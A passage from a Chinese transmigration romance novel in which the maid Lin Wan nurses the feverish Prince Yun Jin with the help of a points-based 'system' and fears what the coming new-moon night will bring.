问题是,她根本不知道云烬去哪儿了。
她匆匆跑去找小翠。
小翠正在后院整理刚冒芽的花苗,闻言茫然地摇头:“林晚姐,我不知道啊……殿下想去哪儿,哪会告诉我们这些下人……”
正焦急间,刘嬷嬷路过。
“嬷嬷!”林晚赶紧迎上去,“您知道殿下下午去哪儿了吗?酉时该喝药了,可正屋没人。”
刘嬷嬷脚步一顿,目光扫过她脖颈和脸颊的伤痕,眼神复杂地叹了口气。
她沉默片刻,才低声道:“今日……是云婉公主的生辰,”她顿了顿,补充道,“云婉公主,是殿下的亲妹妹,只可惜已经去世了……”
云婉公主?是云烬一母同胞的亲妹妹?就是小翠口中的,五年前死在宫里的那个妹妹?
刘嬷嬷的声音带着一丝不易察觉的沉重:“殿下他……午后应该是去别院的祠堂了。每年的今日,他都会在那里待上很久。”
祠堂?林晚心头微动。那个地方,想必是供奉着云婉吧?
“你要去给殿下送药?”刘嬷嬷问道。
“呃……是,还有……晚膳。”林晚硬着头皮补充。
刘嬷嬷深深看了她一眼,语气凝重:“去送饭,不要打扰殿下。”
林晚用力点了点头:“我记住了,嬷嬷。”
林晚在厨房装好前山送过来的晚膳,提着食盒,按照刘嬷嬷指点的方向,朝着位于别院最偏僻角落的祠堂走去。
越靠近祠堂,周遭的环境就越发寂静。她很少有机会在别院其他地方走动,这一路上的景致,与静心苑的萧条一般无二。
祠堂的门虚掩着,林晚放轻脚步,走到门边,没有立刻进去,而是透过门缝朝里望去。
昏暗的光线下,祠堂内部空旷而肃穆。正中的供桌上,摆放着几块灵位。
最前面的一块,字迹清晰,上面赫然刻着“大胤云
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婉公主之灵位”。
而云烬,就静静地跪坐在供桌前的一个蒲团上。
他背对着门口,那件厚实的披风滑落在一旁,只穿着深青色的锦袍。
他挺直的背脊此刻显得有些佝偻,不再是那个冷寂孤傲、淡漠疏离的二皇子,此刻的他,脆弱的仿佛像一片被狂风撕扯的枯叶。
他低着头,林晚看不清他的表情,只能看到他放在膝上的双手,手指用力地抠着衣料,指节泛着不正常的青白。
没有啜泣,没有嘶吼,只有一片死水般的寂静,以及从云烬身体里传出的令人窒息的呼吸声——短促、压抑,带着无法言喻的痛苦。
供台上,那个小小的牌位,在摇曳的烛火中显得格外刺眼。
牌位上的字,在他泪眼模糊的视线里扭曲晃动,仿佛在控诉着什么。
林晚的心,像是被猛地攥紧了。
这两天她滔天的怒火和**,在这一刻,被眼前这幅凄惨孤寂到极致的画面冲淡了许多。
她忽然想起刘嬷嬷的叮嘱,想起他身上的紫黑气息,想起那些关于这位皇子“厌世”、“自毁”的标签,想起五年前的事情……一个模糊而沉重的猜测在她心底浮现。
她深吸一口气,压下心头的波澜,轻轻推开了祠堂的门,尽量不发出一点声音。
她走到云烬身后几步远的地方,将食盒轻轻放在地上,然后她跪在云烬身后的蒲团上,对着牌位磕了三个头。
前面跪着的身影似乎极其轻微地颤动了一下,但并未回头,也没有任何回应。
【任务:给目标人物送晚膳,完成。】
【完成奖励:积分+200】
【当前积分:1530】
林晚不敢多待,对着云烬行了一礼,什么都没有说,悄无声息地退了出去,然后轻轻带上了祠堂的门。
站在祠堂外清冷的空气中,林晚才感觉自己的心跳慢慢平复下来。
【检测到目标人物‘云烬’情绪产生剧烈波动(哀恸/挣扎)。】
【好感度波动:+5%/-3%……数据紊乱,最终结算:+1%】
【当前好感度:16%】
系统的提示音在脑海中响起,带着一丝不稳定的杂音。
林晚看着那最终只艰难爬升了1%的数字,又回头望了一眼紧闭的祠堂大门,心中五味杂陈。
第21章 他发烧了
送完晚膳回到自己的屋子,林晚只觉得疲惫感袭来,她草草洗漱,几乎是沾枕即睡。
不知睡了多久,窗外骤然炸响的惊雷将她从深眠中叫醒。
“轰隆——!”
林晚被这突如其来的雷声惊得心口一跳,睡意瞬间消散了大半。她裹着薄被坐起身,看到外面竟然已经是倾盆大雨。
大雨砸在屋顶瓦片上,哗啦啦的。
风也不小,狂风卷着雨点,猛烈地拍打着门窗,发出噼里啪啦的怪响。
“这雨……什么时候开始下的?”她喃喃自语,心头莫名地浮起一丝不安。
“他……回来了吗?”这个念头不受控制地冒了出来,“这么大的雨,他该不会还在祠堂吧?”
“应该不至于,哈啊……”浓浓的困意再次席卷上来,她试图说服自己:“蠢到雨越下越大才想起来往回走吧?”
云烬虽然性格古怪,但看起来并非没有常识的人,他肯定早就回来了,此刻应该安稳地待在他那空旷冷寂的正屋里。
她疲惫地叹了口气,将脸埋进枕头,强迫自己忽略的外面的风雨交加,她迷迷糊糊地睡了过去。
只是这一觉,睡得极不安稳。
翌日清晨。
雨过天晴,空气格外清新,混合着泥土和草木的芬芳,难得地驱散了满院子的苦涩草药味。
她像往常一样,端着煎好的药汁,走向正屋。推开门,屋内一片寂静,光线透过窗户照亮了空旷的前厅。
书案后,空无一人。
“殿下,该喝药了”林晚轻声唤了一句,无人应答。
她将药碗轻轻放在书案上,目光好奇地投向通往内室卧房的走廊。她犹豫了好几下,终于决定还是过去瞅一眼。
卧房的门虚掩着,林晚屏住呼吸,从门缝向内望去。雕花木床上,云烬正躺着,身上盖着薄被,似乎仍在沉睡。
林晚小拳头一挥,隔着门对着云烬轻轻怒哼一声,不敢多作打扰,悄无声息地退了出去。
午时。
林晚再次端着药碗来到正屋,书案上,早上那碗药依旧原封不动地放着,早已凉透。
不对劲!都已经这个时候了,云烬似乎没有睡懒觉的习惯。她放下新煎的药,快步走向卧房。
透过门缝,云烬竟然还睡着。这一次,她没有丝毫犹豫,轻轻推开了房门。
“殿下?”林晚一边轻轻地试探,一边缓缓靠近床边。离得近了,她才看清云烬的状态似乎很不对劲。
他紧闭着双眼,眉头紧锁着,额发被汗水浸透,一缕缕贴在泛着不正常红晕的脸颊和额头上。他的呼吸粗重而急促,每一次呼气都带着灼热的气息喷出,嘴唇都已经干裂起皮。
林晚的心里一惊,她伸出手,小心翼翼地探上云烬的额头。
滚烫!
“发烧了!”林晚惊呼出声,声音在寂静的房间里显得格外清晰。
慌乱中,她这才发现一旁垂挂着的是云烬昨天出门时候穿的披风,然而此时已经湿透,地板上全是水渍。
“啧!”林晚一阵无语,“这么大的人了,冒着那么大雨回来,活该!”
她不敢再多耽搁,得多找些人来帮忙才行。
“嬷嬷!嬷嬷!不好了!”林晚气喘吁吁地找到正在后院的刘嬷嬷,“殿下……殿下他发高烧了!烧得很厉害!”
刘嬷嬷脸色骤变,“什么?!快带我去看看!”
两人匆匆赶回卧房,刘嬷嬷只在门口看了一眼,眉头就拧成了疙瘩。
“小翠!”刘嬷嬷当机立断,对闻声赶来的小翠急声道,“你立刻去前山管事处,让他们赶紧派人下山,到镇子上请最好的郎中来!要快!”
“是,嬷嬷!”小翠也是一脸担忧,转身就跑。
林晚看着刘嬷嬷的安排,心中满是疑惑:“嬷嬷,这……偌大的皇家别院,难道没有值守的太医吗?为什么要去山下镇子请郎中?”
刘嬷嬷正用湿布巾给云烬擦拭额头的汗,闻言动作一顿,重重地叹了口气,那叹息里充满了无奈和心酸。
“太医?”她抬起眼,看向林晚,眼神复杂,“林丫头,你聪明,心思又多,你在这静心苑也有一阵子了,你别跟我说,有些事情还没看明白?”
刘嬷嬷的声音压
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得极低,满是悲凉,“你光看看这别院的前前后后,虽然挂着‘皇家别院’的名头,可内里……哪里跟‘皇家’这两个字有半毛钱的关系?”
“你平日里看到皇贵妃娘娘仪态万千,那是因为她从前是宫里最得宠的妃子,陛下……或许还念着几分旧情,才定期派人送些与皇贵妃位分勉强相符的用品过来,不至于让娘娘在明面上太过失了体面。但二皇子殿下……”
刘嬷嬷的声音哽了一下,目光落在云烬烧得通红的脸上,充满了难以言喻的痛惜,“殿下他……就……”
后面的话,刘嬷嬷没有说出口,只是沉重地摇了摇头,仿佛那是一个无法言说、也不该由她来说的秘密。
她猛地意识到自己今天说得太多了,立刻收敛了情绪,看向林晚的眼神变得严肃起来。
“林丫头,”刘嬷嬷的声音恢复了平日的沉稳,“今日这些话,你听过就烂在肚子里。在皇家身边做事,多嘴多舌,是会要命的,明白吗?”
林晚被刘嬷嬷那严厉的眼神看得心头一凛,连忙低下头:“是,嬷嬷,我记住了。”
刘嬷嬷这才点点头,继续专注地照顾云烬,用温水一遍遍擦拭他的额头和手心,试图帮他降温。
林晚站在一旁,看着床上那个平日里冰冷强大、此刻却脆弱得不堪一击的身影,再看看刘嬷嬷布满皱纹却写满担忧和忠诚的脸,心中五味杂陈。
林晚忍不住轻声问道:“嬷嬷……您……是从宫里就一直跟着殿下的吧?”
刘嬷嬷擦拭的动作微微一顿,没有抬头,只是低低地“嗯”了一声:“是啊,老奴……是从殿下出生起,就在他身边伺候了。”
从出生起……那意味着刘嬷嬷几乎见证了云烬生命中的所有变故,包括五年前那场彻底改变他人生的灾难。
林晚沉默了。
难道……五年前真的是云烬亲手杀了自己的亲妹妹?如果真是这样,那造成这一切悲剧的始作俑者,那个将云烬变成如今这副模样的罪魁祸首,又会是谁呢?
【任务倒计时:166天21小时36分】
第一卷 第22章 他可不能死啊
郎中背着药箱匆匆赶来,对着云烬一阵探脉观色,又问了林晚一些情况,最终他捻着胡须,下了结论:
“无甚大碍,殿下这是淋了暴雨,引发的寻常风寒,问题不大,待草民开几服发汗解读的方子,按时煎服,静养几日便可,只是……”
那郎中说到这里,顿了顿,看了一眼林晚,神色稍显顾虑。
“只是什么你倒是说呀!”林晚对话说一半这件事非常厌恶。
“李郎中,有话直说即可,”刘嬷嬷开口说道。
“没什么,”李郎中轻笑一声,似乎是在掩饰着什么,“好好照顾殿下的病情,马上初一咯。”
说完,李郎中带上药箱离开了静心苑。
李郎中这前后的神色,被林晚看在眼里,他刚才为什么要说“马上初一了”,这有什么特别的吗……?
就在这时,小翠的声音从静心苑外面传来,打断了林晚的思绪:“我拿药回来了!”
煎药、喂药的担子,自然是又落在林晚的身上。
她端着温热的药碗坐在床边,看着云烬烧红的脸和紧蹙的眉头,心情非常复杂。
林晚小心翼翼地用勺子撬开他的嘴,将药汁一点点喂进去。
“活该!”她一边动作,一边在心里愤愤地嘀咕:“让你那天俺么凶!让你掐我脖子!让你摔我的鱼!淋雨发烧了吧?”
“这就是你欺负人的报应!”
林晚恨不得此时“啪啪”两巴掌山上去!
但是看着他因风寒显得格外脆弱的样子,那点报复性的得意却又很快被另一种情绪淹没。
云烬此刻躺在这里,呼吸粗重,眉头紧锁,像个被困在噩梦里的孩子,哪里还有半份平日里的那种暴戾?
尤其是又想起祠堂里那个对着妹妹的牌位无声抽泣的背影……一丝心疼悄悄缠绕上林晚的心头。
“真是欠了你的……”她低声抱怨着,手上的动作也轻柔了下来。
然而,到了晚上,情况愈发不容乐观。
林晚端着新煎好的药走进卧房时,心头猛地一沉。
云烬的脸色不再是高烧的潮红,而是变成了比他平日里的面色,更加苍白的颜色,嘴唇甚至都泛着异常的紫色。
他额头上豆大的虚汗,源源不断地渗出,浸湿了枕头好大一片。
林晚伸手一探他的额头和脖颈,那温度烫得吓人,比白天有过之而无不及!
“怎么会这样!?”林晚的心提到了嗓子眼,“不是说只是寻常的风寒吗?李郎中明明说静养即可,这……”
“这分明更严重了呀!”
她看着云烬急促而微弱的呼吸,和泛紫的嘴唇,还有那高得有点离谱的体温,一个可怕的念头如同冰水浇灌下来:
“他不会……要死了吧?!”
这个念头让她的身体一个机灵。不行!绝对不行!他要是死了,任务就失败了!任务失败了,她也要魂飞魄散了!
“不行不行不行。”林晚连连摇头,强迫自己赶紧压下心里的惊慌,“降温……对!降温!”
林晚的第一反应,就是赶紧给云烬降温,把他这吓人的体温降下来。
她猛地先开盖子云烬身上的薄被,伸手就解开了他中衣的系带。衣襟被林晚慌乱地扒开,露出线条流畅的胸膛和紧实的腰腹,宽肩窄腰,线条完美!
虽然此刻被病痛折磨得气息奄奄,但那曾薄薄的肌肉轮廓依然清晰可见,那都是他从前修炼留下的深厚底子。
然而此刻,林晚却顾不上欣赏眼前这副皮囊,她满心满眼只有那滚烫的体温,和自己危在旦夕的生命。
她赶忙端来水盆,将布巾进入冰冷的井水中再拧干,然后擦拭云烬大汗的额头、滚烫的脖颈、汗湿的胸膛、滚烫的手心……
一遍又一遍,动作急促而有力。
一盆水很快温热下来,她又跑去打来一盆新的井水。如此往复,换了足足两盆水,她累的手臂发酸,额头上也冒出了细汗。
几颗汗珠从沿着下巴低落在胸口,将林晚纤薄的衣襟黏在皮肤上,领口里面,隐隐约约有一点白光闪烁。但林晚忙着照顾云烬,并未能看见。
然而,面前这人的皮肤依旧滚烫,呼吸依旧是微弱又急促。
物理降温完全无效!
绝望如潮水般用来,怎么办?自己不会也要死了吧?就这么陪葬了?
不!还有一个办法!她想起了自己的积分!
【“系统!系统!快出来!”】林晚在脑海中疯狂呐喊。
【“救命啊!他快不行了!”】
【检测到宿主紧急求助。】
【分析目标人物状态:高热危象。】
【可兑换物品:‘九转清心丹’(初级)。功效:强力清心退热,稳固心脉。兑换需积分:1500点。】
【宿主当前积分:1530点。是否确认兑换?】
“确认!立刻兑换!”林晚没有丝毫犹豫。
积分可以再赚,人要是死了,就都玩儿完了!
在系统面板上积分变成30的同时,卧房中间的圆桌上,凭空出现了一个小巧玲珑的药瓶。
林晚一把抓过来,扒开塞子,一股沁人心脾的药香瞬间弥漫开来。
里面只有一颗龙眼大小、通体碧绿、散发着莹莹微光的丹药。
她立刻回到床边,费力地撬开云烬紧咬的牙关,小心翼翼地将那颗“九转清心丹”塞进去。
丹药入口即化,化作一股清凉的液体滑入喉中。
林晚直到药物生效还需要一段时间,她不敢有一丝松懈,又跑出去换了一盆水来,继续用湿布巾一遍遍擦拭他的身体。
夜,是那么静。
整个静心苑里,只剩下林晚忙碌急促的喘息声、布巾拧干的水声。
卧房烛火摇曳,映着少女忙碌的身影,也照着床上生死未卜的皇子。
……
天光熹微,一丝秋风透过窗棂,吹上了云烬的额头。
汗早已消退了,额前的几缕发丝在风中飞舞,时不时蹭一下他的睫毛。
云烬感觉自己像是从一个深潭中挣扎出来一样,沉重的眼皮艰难地撑开一条缝。
意识混沌,头疼欲裂,浑身骨头像是散架了一样酸痛无力。喉咙里更是干得像火烧一样,每一次吞咽都扯得生疼。
他费力转动了一下眼珠,模糊的视线渐渐聚焦。
终于,他看清了自己熟悉的雕花床顶。然后,他看到了趴在卧房中间圆桌上的身影。
她侧着头枕在自己的手臂上,睡姿很不舒服,却睡得很深,像是累极了。
云烬看了看屋内的狼藉——半盆水、浸湿的布巾、一地的水渍,还有自己……裸露的上半身。
他大概猜到发生了什么。
他下意识地舔了舔干裂的嘴唇,舌尖似乎还残留着一丝奇异的、带着草木清香的微苦。
云烬的目光,久久地停留在那个趴在桌上、疲惫沉睡的身影上,深邃的眼眸中,翻涌着难以言喻的复杂情绪。
第一卷 第23章 这算社死吗
【警告!目标人物生命体征消失!】
【隐藏任务‘逆转死局’失败!】
【核心任务‘攻略目标’失败!】
【宿主灵魂即将抹除……】
系统冰冷机械的提示音如同丧钟,在林晚脑海中疯狂炸响。
她看见云烬躺在静心苑那张冰冷的雕花木床上,脸色灰白,胸口再无起伏,那双曾盛满寒冰与痛苦的眼睛,此刻紧紧闭着。巨大的恐惧如同无形的手扼住她的喉咙,让她无法呼吸……
“啊——!”
林晚猛地从床上弹坐起来,心脏狂跳,后背瞬间被冷汗浸透。她大口大口地喘着粗气,手指紧紧揪着胸口的衣襟,仿佛是要确认一下自己的那颗心是否还在跳动。
是梦……一个无比真实的噩梦。
窗外刺眼的阳光照射进来,林晚茫然地环顾四周。
“糟了!”她瞬间清醒,惊叫出声,“什么时辰了?!早上的药!”
她手忙脚乱地掀开薄被跳下床,胡乱地套上外衫,头发都来不及梳,只匆匆用发带一拢。
完了完了,那个阴晴不定的疯子,敢误了送药的时辰,指不定又要怎么刁难!
刚冲到院子里,就撞见了端着水盆的小翠。
“林晚姐!你醒啦?”小翠看到她,眼睛一亮,随即又有些担忧,“你脸色好差,是不是昨晚累着了?”
“小翠!”林晚一把抓住她的胳膊,急声道,“早上的药!我睡过头了!殿下他……”
“哎呀,林晚姐你别急!”小翠连忙安抚她,“殿下没事!药已经送过了!”
“送过了?谁送的?”林晚一愣。
“我送的呀!”小翠放下水盆,解释道,“今儿一大早,天刚蒙蒙亮,我起来准备打水,刚走到院子里,就看见殿下从你房间里出来!”
“什……什么?!”林晚如遭雷击,眼睛瞪得溜圆,“从……从我房间出来?!”
“是啊!”小翠点点头,脸上带着点不可思议,“殿下脸色看着还有点苍白,但精神似乎还行。他看见我,还特意停下脚步,跟我说:‘让她多睡会儿,别叫她。辰时的药,你去煎了送来。’”
小翠模仿着云烬那清冷平淡的语气,末了还补充道:“殿下说完就走了,回正屋去了。我赶紧就去药房煎药了,刚送去不久,殿下也喝了。”
林晚彻底懵了,站在原地,感觉脑子嗡嗡作响。
云烬……从她房间出来?还特意叮嘱小翠让她多休息?让她……煎药?
这太阳是打西边出来了吗?那个视人命如草芥、动辄掐脖子泼药的疯子,突然知道关心人了?还关心她这个丫鬟睡没睡够?
巨大的荒谬感冲击着她。
但紧接着,昨晚的记忆碎片如同潮水般汹涌回笼……
滚烫的额头……紧闭的双眼……急促的呼吸……她情急之下解开他的衣襟……用浸了冷水的布巾一遍遍擦拭他滚烫的胸膛、脖颈、手臂……
汗水浸湿了她的鬓角,手臂酸得抬不起来……最后实在撑不住,趴在桌边……睡着了……
睡着了!!!
林晚的脸“腾”地一下红透了,一直红到耳根,感觉头顶都要冒烟了!
天啊!她不仅扒开了他的衣服!还在他身上“上下其手”!还……还趴在他边上睡着了?!
那他醒来的时候……岂不是发现自己光着上身,而她就在旁边呼呼大睡?!
完了完了完了!林晚只觉得一股寒气从脚底板直冲天灵盖,这一刻她觉得比刚才那个噩梦还要可怕!
“杀人灭口!他一定会杀人灭口的!”这个念头疯狂地在脑海中尖叫。
以云烬那极度厌恶他人触碰和窥探的性子,发现自己被一个丫鬟如此“轻薄”和“冒犯”,不把她大卸八块,然后丢进那个黑洞洞的密道里毁尸灭迹才怪!
怎么办?现在跑还来得及吗?
林晚的心跳快得要从嗓子眼里蹦出来,手脚冰凉,恨不得立刻挖个地洞钻进去。
然而,就在这极度的恐慌和羞耻感中,另一股倔强又带着点破罐子破摔的情绪猛地顶了上来。
“怕什么!”她在心里对自己低吼,“我行的正坐的直,我那是为了救人!我那是医者父母心!”
“虽然……虽然手段是稍微直接了点,但本姑娘我问心无愧!”
“我一没偷看二没乱摸,三没趁人之危!纯粹是出于高尚的救死扶伤精神!他要是因为这个就要杀人,那就是他恩将仇报!是他心理变态!是他不讲道理!”
这么一想,林晚顿时觉得腰杆子硬了不少。虽然脸上还是火烧火燎的,但那股想逃跑的冲动被强行压了下去。
“对!没什么好怕的!该干嘛干嘛!”她深吸一口气,努力平复狂跳的心脏,“殿下……还在屋里吗?”
“在的吧,我今天早上没见殿下出去。”小翠答道。
林晚理了理衣装发髻,端起放在一旁的水盆和抹布,挺直了腰背,走向那扇正屋的大门。
尽管给足了自己心理暗示,但是在推开门的瞬间,林晚的心还是提到了嗓子眼。她飞快地扫视目光所能及的一切角落,空无一人。
“呼……”她暗自松了口气,还好还好。
她轻手轻脚地走进去,放下水盆,开始像往常一样擦拭书架和博古架。动作比平时更轻,耳朵却竖得老高,时刻警惕着内室的动静。
然而,还没等她擦完一排架子,内室的门就被推开了。
云烬走了出来。
林晚的动作瞬间僵住了,全身的血液似乎都涌到了脸上。她下意识地闭了闭眼,深吸一口气,从架子上码放整齐的物品间隙里,悄咪咪地看过去。
只见云烬换上了一身崭新的玄色锦袍,衣料挺括,一丝褶皱也无。墨黑的长发扎起一个高马尾,用银色发带束起,露出光洁饱满的额头和冷峻的侧脸线条。
他穿戴得整整齐齐,连袖口都严丝合缝,简直与昨夜那个虚弱狼狈、衣衫不整躺在床上的病人判若两人。
也就从他还稍显疲弱的眼神里,能看出他昨天生了一场大病。
林晚看着他这副穿戴整齐、人模人样的样子,就连平时披散的头发都扎了起来,再联想到自己昨晚扒开他衣服的场景,一股强烈的、难以言喻的尴尬和羞愤直冲头顶!
他穿这么正经干什么?!
是故意穿给我看的吗?!
是在无声地控诉我昨晚的“暴行”吗?!
还是在用这种一丝不苟的穿着,划清界限,提醒我昨夜的一切都是僭越?!
林晚只觉得脸上火辣辣的,恨不得找个地缝钻进去。她攥紧了手里的抹布,指节发白,眼神飘忽,根本不敢与他对视,只能死死盯着架子上一颗小小的灰尘,假装自己擦得非常非常认真。
空气仿佛凝固了,只剩下林晚自己的心跳声。
云烬的目光似乎在她身上停留了一瞬,那目光平静无波,看不出任何情绪。
他没有说话,也没有像往常一样径直走向书案或窗边,只是站着,双手抱胸,靠在那里,像一尊雕塑。
就在林晚快要被这无声的尴尬和压力逼得窒息时,脑海中响起了系统的提示音:
【检测到目标人物‘云烬’情绪产生波动(复杂/审视)。】
【好感度更新:+2%】
【当前好感度:18%】
林晚:“……???”
第一卷 第24章 朔望
林晚的心跳在云烬踏出内室门的时候就提到了嗓子眼,她几乎是条件反射地缩到了高大的紫檀木架的后面,恨不得把自己嵌进木头里,不断祈祷着这位身体稍有好转的活祖宗没有注意到自己。
然而,一声熟悉的清冷的声音,戳破了她的幻想:“在我的地盘上,可没有人能躲得了我的视线。”
云烬的声音不高,却足够让林晚听得一清二楚。
林晚僵在书架后面,屏住呼吸,一动不敢动,透过架子上摆放的物品的间隙,偷偷看着云烬的方向。
短暂的沉默后,云烬的声音再次响起,带着点不耐烦的语气:“出来。”
直到躲不过去了,林晚深吸一口气,努力挤出一个比哭还难看的笑容,磨磨蹭蹭地从架子后面挪了出来,还不忘用手挡一下自己尴尬的表情。
她不敢看云烬,只声音干巴巴地挤出两个字:“殿下……早……早安。”
说完她就后悔了,这都几点了,早什么安啊!果不其然,云烬的嘲讽如期而至。
云烬的目光在她身上扫了一圈,薄唇轻启:“这会儿可不早了,一个丫鬟到此时才起床,没规矩。”
声音平淡,却戳得林晚瞬间一愣,下意识地抬头反驳:“不是你让小翠别叫我,让我多……”
说到一半,昨晚她对云烬“上下其手”的画面猛地冲进脑海,她的脸不争气地“唰”一下又红了,尴尬地沉默下来。
云烬见状,嘴角勾起一个玩味恶劣的弧度,他冷哼一声:“让你休息,是怕你累死在我的静心苑里,还得费功夫给你收尸。”
他顿了顿,右手扶上自己的脖颈,左右扭了扭舒缓了一下,暗指林晚脖颈上还残留的淡淡红痕,“毕竟,尸体处理起来……也挺麻烦的。”
云烬的话夹枪带棒,一边训斥着林晚坏了规矩,一边又带着居高临下的漠然。
“喂!您可别忘了,昨晚是我救了你哎!”林晚心里那股火“噌”地又冒了起来。
“哼。”云烬冷哼一声,“你还敢跟我提……昨晚?”
“我……”林晚极力组织自己的语言,“我昨晚医者仁心,无愧于心,有什么不敢提的!而且我可什么都没干啊!我可没兴趣……”
林晚边说头边低下去,声音也越来越小,最后小到几乎只有自己能听见。
云烬眉头一挑,似乎很满意她现在这个样子,不再看她,转身想回书房去。然而,刚迈出一步,身形突然一晃。
“唔……”一声闷哼从他喉咙里传出。
林晚眼角的余光瞥见他状态不对,立刻放下抹布冲上去扶住他的手臂。
她抬头看去,只见云烬的额前已经伸出了细密的汗珠,脸色一下子也白了几分,眉头紧锁,双眼微闭,似乎忍受着强烈的眩晕和不适。
“你看你!”林晚又急又气,没忍住抱怨出声,“才刚刚退烧,稍微好了一点就得意忘形,病情复发了吧?赶紧回去休息吧,我的好殿下!”
她一边说着,一边不由分说地搀扶着他往卧房而去。
云烬被她这近乎命令的语气和强势的动作弄得眉头皱得更紧,下意识地想挣脱,但奈何身上使不出多大的力气,只能由着林晚半扶半架着。
云烬盯着她看了几秒,眼底闪过一丝复杂的神色。最终,他什么也没说,只是疲惫地闭了闭眼,算是默许了她的“僭越”,任由她将自己扶回了内室的卧榻上。
林晚小心翼翼地扶他半卧着躺好,又替他掖好被角。
看着他呼吸渐渐平稳下来,额头的虚汗也似乎少了些,她悬着的心才稍稍放下。看来只是大病初愈身体太虚,加上刚才可能起猛了。
“殿下,您就好好躺着静养,千万别再乱动了。”
林晚不放心地又叮嘱了一遍,“有什么事就叫……”她本想说自己,但想到刚才的尴尬,又改口道,“……叫小翠或者刘嬷嬷。”
云烬闭着眼,他似乎对林晚的絮叨感到不耐烦,薄唇微启,冷冷地吐出一个字:“滚。”
林晚:“……”
看着他这副卸磨杀驴、用完就丢的傲娇模样,林晚顿时觉得又好气又好笑。
算了算了,跟个病号计较什么?她撇撇嘴,也懒得再跟他一般见识,转身轻手轻脚地退出了内室,还细心地把门带上了。
下午,林晚估摸着云烬应该还在休息,便端着水盆和抹布,再次进入正屋进行例行的洒扫。她动作放得极轻,生怕吵醒了里面那位脾气不好的主子。
书房里很安静。她仔细擦拭着书案、椅子和书架。
擦到书案下方时,目光不经意地扫过地面,发现靠近墙角的地板上,散落着几片指甲盖大小的、边缘焦黑的碎纸片。
“咦?”林晚有些疑惑。云烬的书房向来整洁,很少会有垃圾残留,更别说这种烧过的纸屑。
她蹲下身,小心地将那几片碎纸捡了起来。
纸片很脆,边缘是被火焰燎过的焦黑色。林晚将它们凑近眼前,试图拼凑出上面的字迹。
大部分已经烧得面目全非,只有两片稍大的残片上,依稀能辨认出两个模糊的墨字:
“朔”、“望”。
朔……望?
林晚的心猛地一沉!
朔望……朔月与望月!
她瞬间想起了上一次望月之夜前夕,刘嬷嬷那异常严肃的警告——“夜里无论听到什么动静,都待在屋里,千万别出来!”
想起了第二天清晨,那散落一地的、死状诡异凄惨的乌鸦尸体!
想起了云烬在那晚的消失,以及嘉贵妃的昏迷!
一股强烈的不安如同冰冷的潮水,瞬间淹没了林晚。
如果自己猜测的没错的话……朔月之夜……似乎,就是这两日了!
静心苑那死水般的平静之下,那被云烬死死压抑、不愿示人的痛苦……难道又要爆发了吗?
她猛地抬头,望向内室紧闭的房门,仿佛能穿透门板,看到里面那个沉睡的、脆弱又危险的身影。
“但是他……”林晚的担心,来自于她的推测,更来自于他刚刚大病初愈的身体。
【任务倒计时:165天 11小时 36分】
第一卷 第25章 静心苑的浑水
尽管已是深秋,但半下午的阳光依然带着一种慵懒的暖意,却丝毫照不进林晚的心底。
她捏着手里那片被烛火燎过的碎纸片,忧心忡忡的模样,像一块沉重的石头压在她胸口。
“朔望……朔望……”这两个字在她脑海里反复盘旋,她实在放心不下,最终决定去找刘嬷嬷探探口风,哪怕只是旁敲侧击。
在后院的花圃边,林晚找到了正弯腰查看幼苗的刘嬷嬷。
“嬷嬷,”林晚尽量让自己的声音听起来平静自然,“殿下他……好点了,只是殿下他……这几日似乎不对劲得很……”
刘嬷嬷直起身,布满皱纹的脸上带着一丝丝警惕。
沉默片刻,她笑着看向林晚:“林丫头,昨晚照顾殿下时……殿下昏迷期间,可曾说过什么?”
林晚心头一跳,立刻摇头:“没有,嬷嬷。殿下一直昏睡着,偶尔会微微皱眉,但没说什么话。”
刘嬷嬷闻言,眼中的警惕并未消散,反而更添了几分忧虑。她沉默地看着林晚,嘴唇翕动了几下,似乎有千言万语堵在喉咙里,最终却只化作一声沉重的叹息。
“唉……”她移开目光,望向正屋的方向,眼神复杂难辨,“殿下他……没事的。你做好自己的分内的事便好。”
刘嬷嬷这话说得极其敷衍,随意应付了林晚,但更像是在安慰她自己。
林晚的心沉得更厉害了。刘嬷嬷越是避而不谈,越是强调“无事”,就越说明这“朔望”之夜潜藏着巨大的危机,尤其是云烬此刻还处于大病初愈的虚弱状态。
“是……嬷嬷。”林晚低低应了一声,知道再问也问不出什么了。
下午洒扫正屋时,林晚的心神格外紧绷。
云烬如常一样坐在书案后,手里拿着一卷书。表面看去,他似乎已经从上午的虚弱中恢复过来,此时此刻,他依旧是那个清冷孤高的二皇子。
然而,林晚却敏锐地捕捉到了一些不同寻常的细节。
他比平时更加沉默了,就算是林晚不小心发出了巨大的声响,他也没有作出什么动静。这搁在以往,早都一个眼神直射过来了。
他翻书的动作也极其缓慢,偶尔手指还会无意识地用力一下,把指节绷得发白,甚至将书页边缘都捏出细微的褶皱,仿佛在极力压制着什么。
他的呼吸也比平时更沉,带着一种隐忍之感。
林晚看在眼里,心中了然:他并非完全恢复,而是在强撑着。而这份强撑,让她的心更加不安。
酉时将近,林晚端着新煎好的药走进正屋。她将白玉药碗轻轻放在书案上,尽量不发出声响。
“殿下,药好了。”她轻声提醒。
云烬没有立刻回应,只是缓缓端起药碗。就在他仰头喝药的瞬间,因为动作牵扯,玄色锦袍的领口微微敞开了一线。
林晚的目光无意间扫过——就在那敞开的领口下,胸口位置,那熟悉的紫黑色气息,正如同活物般浮动,就跟她上次看到的一模一样。
云烬似乎察觉到了她的视线,猛地放下药碗,动作快得带起一阵风。他快速地一把将衣襟拉紧,严严实实地遮住了那片不祥的紫黑。
他没有看林晚,只是侧过脸,下颌线绷得死紧,周身散发出一种冰冷而抗拒的气息。
林晚的心跳得飞快,一股寒意从脚底直窜头顶。
坏了!情况比她想象的还要糟糕!这紫黑气息的活跃程度,远远超过上一次看到的时候,而且他的身体又如此虚弱……
“殿下……”林晚再也忍不住,鼓起勇气开口,“您……还好吗?”
“出去。”云烬冰冷的声音打断了她,比平时添了几分压抑的烦躁。他依旧没有看她,目光死死盯着书案上的某一点。
林晚心中的担忧并未消减:“可是……”
“我说出去!”云烬猛地抬起头,那双深邃的眼眸此刻布满了血丝,死死地盯着林晚,带着警告和不耐。
林晚瞬间噤声。她知道,再问下去,不仅不能问出什么,反而惹得他更加反感和烦躁。
“今晚的药,不必再送!”云烬沉声呵道。
她不敢再多言,匆匆离开了正屋。
不对劲!云烬的状态很不对劲!
那紫黑气息的躁动,还有他强撑的沉默和反常的驱逐……这一切都指向一个可怕的预兆——今晚的朔望之夜,一定会发生些什么!
林晚越想越心惊,再也顾不得许多,拔腿就朝刘嬷嬷常待的后院跑去。
